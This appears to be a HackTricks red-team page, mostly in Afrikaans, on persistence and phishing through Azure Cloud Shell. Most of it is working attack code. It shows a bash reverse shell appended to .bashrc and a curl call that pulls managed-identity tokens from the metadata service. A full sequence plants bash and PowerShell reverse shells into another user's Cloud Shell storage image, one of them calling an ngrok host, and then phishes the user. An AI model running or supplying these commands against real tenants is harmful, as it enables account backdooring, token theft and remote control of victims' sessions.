Az - Cloud Shell Persistence

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cloud Shell Persistence

Azure Cloud Shell bied opdraglyn toegang om Azure hulpbronne te bestuur met volhoubare stoor en outomatiese verifikasie. Aanvallers kan dit benut deur agterdeure in die volhoubare tuisgids te plaas:

  • Volhoubare Stoor: Azure Cloud Shell se tuisgids is op ’n Azure lêerdeel gemonteer en bly ongeskonde selfs nadat die sessie eindig.
  • Opstart Skripte: Lêers soos .bashrc of config/PowerShell/Microsoft.PowerShell_profile.ps1 voer outomaties uit aan die begin van elke sessie, wat volhoubare uitvoering moontlik maak wanneer die cloud shell begin.

Voorbeeld agterdeur in .bashrc:

echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Hierdie agterdeur kan opdragte uitvoer selfs 5 minute nadat die wolkskulp deur die gebruiker voltooi is.

Vra ook Azure se metadata-diens vir instansiedetails en tokens:

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell Phishing

As ’n aanvaller ander gebruikers se beelde in ’n Stoorrekening vind waartoe hy skryf- en leestoegang het, sal hy in staat wees om die beeld af te laai, ’n bash en PS agterdeur daarin te voeg, en dit terug te laai na die Stoorrekening sodat die volgende keer wanneer die gebruiker die skulp toegang, die opdragte outomaties uitgevoer sal word.

  • Laai af, agterdeur en laai die beeld op:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Dan, phish die gebruiker om toegang te verkry tot https://shell.azure.com/

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks